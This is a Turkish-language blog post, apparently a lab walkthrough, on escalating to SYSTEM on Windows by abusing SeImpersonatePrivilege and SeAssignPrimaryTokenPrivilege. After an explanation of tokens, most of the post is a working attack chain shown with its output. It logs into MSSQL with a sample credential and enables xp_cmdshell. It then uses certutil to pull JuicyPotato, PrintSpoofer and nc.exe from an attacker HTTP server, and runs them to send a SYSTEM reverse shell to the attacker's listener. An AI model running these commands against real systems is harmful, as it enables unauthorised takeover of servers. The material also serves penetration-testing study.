Post

Abusing Windows Privileges: SeImpersonatePrivilege ve SeAssignPrimaryTokenPrivilege

Bu yazıda Windows işletim sistemlerinde SeImpersonatePrivilege ve SeAssignPrimaryTokenPrivilege ayrıcalıklarının nasıl kötüye kullanılabileceğini anlatacağım.

Abusing Windows Privileges: SeImpersonatePrivilege ve SeAssignPrimaryTokenPrivilege

Windows’ta çalışan her process, hangi hesap bağlamında çalıştığına dair bilgileri tutan bir token’a sahiptir. Bu token, kullanıcının kim olduğunu, hangi gruplara üye olduğunu ve ne tür ayrıcalıklara sahip olduğunu tanımlar. Yani Windows, bir kaynağa erişim izni verirken kullanıcı adına değil, doğrudan bu token’a bakar.

Token’lar kullanıcı oturum açtığında LSASS tarafından oluşturulur ve ilgili process’e atanır. Bir process başka bir process’i başlatırsa, child process varsayılan olarak parent’ın token’ını miras alır. Bunun yanı sıra token’lar bellekte belirli adreslerde tutulur ve kriptografik olarak korunmadıklarından, handle değerleri tahmin edilebilir aralıklarda olduğu için teorikte ele geçirilebilirler.

Bu noktada token impersonation devreye girer. Ele geçirilen bir token’ı aktif olarak kullanabilmek, yani başka bir kullanıcı kimliğine bürünebilmek için SeImpersonatePrivilege ayrıcalığı gerekir. Bu ayrıcalık varsayılan olarak yalnızca yönetici ve servis hesaplarına tanınır; sistem sertleştirme süreçlerinde ise genellikle kaldırılır.

SeAssignPrimaryTokenPrivilege ise primary token‘ı bir process’e atama yetkisi anlamına gelmektedir, yani bir processs’i baştan farklı bir kimlikle başlatabileceğimiz anlamına gelir.

Token’lar hakkında daha fazla bilgi edinmek için bu blog yazısına göz atabilirsiniz.

Token’ların Önemi

Windows üzerinde bazı programların SYSTEM gibi ayrıcalıklı bir hesap üzerinden işlemler yapması gerekebilir. WinLogon process’i üzerinden yapılan çağrıyla token alınır ve program bu token’i kullanarak kendisini başlatabilir. Ancak bu mekanizmanın işleyişini saldırganlar kötüye kullanabilir. Ele geçirilen bir hesap üzerinde SeImpersonatePrivilege yetkisi varsa, SYSTEM yetkisi olmasa bile bu mekanizmayı kullanarak SYSTEM token’ını ele geçirebilirler.

Bir servis hesabı bağlamında çalışan bir uygulama üzerinden RCE aldığımızda bu ayrıcalıkla karşılaşmak oldukça olası. Örneğin bir ASP.NET uygulamasına web shell attığımızda ya da MSSQL’de xp_cmdshell‘e erişebildiysk, ilk bakacağınız yer SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege olmalı.

Daha fazla teknik detay için: abusing_token_eop_1.0.txt


SeImpersonate JuicyPotato

Bu senaryoda SQL Service servis hesabı varsayılan mssqlserver hesabı bağlamında çalışıyor. Bir dosya paylaşımındaki logins.sql dosyasından Snaffler aracıyla elde ettiğimiz kimlik bilgilerini kullanarak xp_cmdshell aracılığıyla bu kullanıcı olarak komut yürütme imkânı kazandığımızı varsayalım.


MSSQLClient.py

sql_dev:Str0ng_P@ssw0rd! kimlik bilgilerini kullanarak SQL Server’ına bağlanıyor ve ayrıcalıklarımızı doğruluyoruz. Bunun için Impacket araç setinden mssqlclient.py dosyasını kullanıyoruz:

1
mssqlclient.py [email protected] -windows-auth
1
2
3
4
5
6
7
8
9
10
11
12
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed database context to 'master'.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2016 (SP2) (13.0.5026)
[!] Press help for extra shell commands
SQL (WINLPE-SRV01\sql_dev  dbo@master)> 

Bağlantımız başarıyla gerçekleşti.


xp_cmdshell

Varsayılan olarak kapalı olan xp_cmdshell stored procedure’ünü kullanarak işletim sistemi komutlarını çalıştırabiliriz. Ancak bu stored procedure’ünü çalıştırabilmek için sysadmin ayrıcalıklarına sahip olmamız gerekmektedir.

Mevcut kullanıcımızın rollerini aşağıdaki sorguyla kontrol edebiliriz.

1
SELECT SYSTEM_USER AS login_name, IS_SRVROLEMEMBER('sysadmin') AS sysadmin, IS_SRVROLEMEMBER('serveradmin') AS serveradmin, IS_SRVROLEMEMBER('securityadmin') AS securityadmin;
1
2
3
login_name             sysadmin   serveradmin   securityadmin   
--------------------   --------   -----------   -------------   
WINLPE-SRV01\sql_dev          1             1               1 

1 değeri, sql_dev kullanıcısının sysadmin rolüne sahip olduğunu göstermektedir. Bu nedenle xp_cmdshell‘ü etkinleştirebilir ve işletim sistemi komutlarını çalıştırabiliriz.

Bunu aktif etmenin en kolay yolu enable_xp_cmdshell komutunu kullanmaktır.

1
2
3
4
SQL> enable_xp_cmdshell

[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install

Not: Impacket bunu bizim için otomatik olarak yaprığından dolayı RECONFIGURE komutunu ayrıca yazmamıza gerek yok. Yapmasaydı RECONFIGURE komutunu çalıştırarak değişiklikleri uygulamamız gerekiyordu.


Access

SQL Server servis hesabı bağlamında çalıştığımızı doğrulayalım:

1
xp_cmdshell whoami
1
2
3
4
output                          
-----------------------------   
nt service\mssql$sqlexpress01   
NULL 

Şimdi bu elimizdeki hesabın hangi ayrıcaklara sahip olduğunu kontrol edebiliriz.

1
xp_cmdshell whoami /priv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
PRIVILEGES INFORMATION                                                             
----------------------                                                             
NULL                                                                               
Privilege Name                Description                               State      
============================= ========================================= ========   
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   
NULL 

Çıktıyı incelediğimizde SeImpersonatePrivilege ve SeAssignPrimaryTokenPrivilege ayrıcalıklarının mevcut olduğunu görüyoruz. Bu ayrıcalık, NT AUTHORITY\SYSTEM gibi ayrıcalıklı bir hesabı taklit etmek için kullanılabilir.

JuicyPotato, SeImpersonate veya SeAssignPrimaryToken ayrıcalıklarını exploit etmek için kullanılabileceğimiz bir araçtır.


JuicyPotato ile Ayrıcalık Yükseltme

Bu hakları kullanarak yetki yükseltmek için önce JuicyPotato.exe binary’sini ve nc.exe’yi önce saldırı cihazımıza indiriyoruz.

1
2
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc.exe

Daha sonra python ile basit bir http sunucusu başlatıyoruz:

1
python3 -m http.server 8081

Artık bu dosyaları hedef sunucuya rahatça indirebiliriz:

1
xp_cmdshell "certutil.exe -urlcache -f http://10.10.15.239:8081/JuicyPotato.exe C:\Users\Public\JuicyPotato.exe"
1
xp_cmdshell "certutil.exe -urlcache -f http://10.10.15.239:8081/nc.exe C:\Users\Public\nc.exe"
1
2
3
4
5
output                                                
---------------------------------------------------   
****  Online  ****                                    
CertUtil: -URLCache command completed successfully.   
NULL  

Artık neredeyse herşey hazır olduğuna göre nc dinleyicimizi başlatabiliriz:

1
sudo nc -nvlp 8181

Şimdi JuicyPotato aracını çalıştırarak ayrıcalık yükseltme saldırısını gerçekleştirebiliriz.

1
xp_cmdshell C:\Users\Public\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Users\Public\nc.exe 10.10.15.239 8181 -e cmd.exe" -t *

Parametreler: -l COM server listening port, -p çalıştırılacak program (cmd.exe), -a cmd.exe’ye geçirilen argüman, -t ise createprocess çağrısıdır. * ile hem CreateProcessWithTokenW hem de CreateProcessAsUser fonksiyonlarını denemesini söylüyoruz; bu iki fonksiyon sırasıyla SeImpersonate veya SeAssignPrimaryToken ayrıcalıklarına ihtiyaç duyar.

1
2
3
4
5
6
7
8
9
output                                                       
----------------------------------------------------------   
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375         
......                                                       
[+] authresult 0                                             
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM   
NULL                                                         
[+] CreateProcessWithTokenW OK                               
NULL        

İşlem başarıyla tamamlandığında nc dinleyicimize NT AUTHORITY\SYSTEM shell’i gelecektir:

1
2
3
4
5
6
7
8
9
10
Listening on 0.0.0.0 8181
Connection received on 10.129.15.98 49717
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>


PrintSpoofer ve RoguePotato

JuicyPotato, Windows Server 2019 ve Windows 10 build 1809 ve sonrasında çalışmamaktadır. Ancak PrintSpoofer ve RoguePotato aynı ayrıcalıkları kullanarak NT AUTHORITY\SYSTEM seviyesine erişim sağlayabilir. JuicyPotato’nun artık çalışmadığı Windows 10 ve Server 2019 üzerinde impersonation ayrıcalıklarını kötüye kullanmak için PrintSpoofer aracına dair daha kapsamlı bilgiye bu blog yazısından ulaşabilirsiniz.

PrintSpoofer

PrintSpoofer aracını hızlıca denemek istersek, exploit kısmına kadar diğer adımları olduğu gibi yapıp aşağıdaki gibi devam edebiliriz.

1
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
1
SQL (WINLPE-SRV01\sql_dev  dbo@master)> xp_cmdshell "certutil.exe -urlcache -f http://10.10.15.107:8081/PrintSpoofer64.exe C:\Users\Public\PrintSpoofer64.exe"
1
xp_cmdshell C:\Users\Public\PrintSpoofer.exe -c "C:\Users\Public\nc.exe 10.10.15.107 8181 -e cmd"
1
2
3
4
5
6
output                                        
-------------------------------------------   
[+] Found privilege: SeImpersonatePrivilege   
[+] Named pipe listening...                   
[+] CreateProcessAsUser() OK                  
NULL 

nt authority\system:

1
2
3
4
5
6
7
Connection received on 10.129.15.98 49724
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system


Son Söz

SeImpersonate ve SeAssignPrimaryToken ayrıcalıklarını kötüye kullanarak yetki yükseltmek son derece yaygın bir saldırı vektörüdür. Hedef sistemin işletim sistemi sürümüne ve build numarasına göre kullanılabilecek araçların değiştiğini bilmek ve bunlara hâkim olmak kritik öneme sahiptir.

Referanslar


Teşekkürler @batuhaner

This post is licensed under CC BY 4.0 by the author.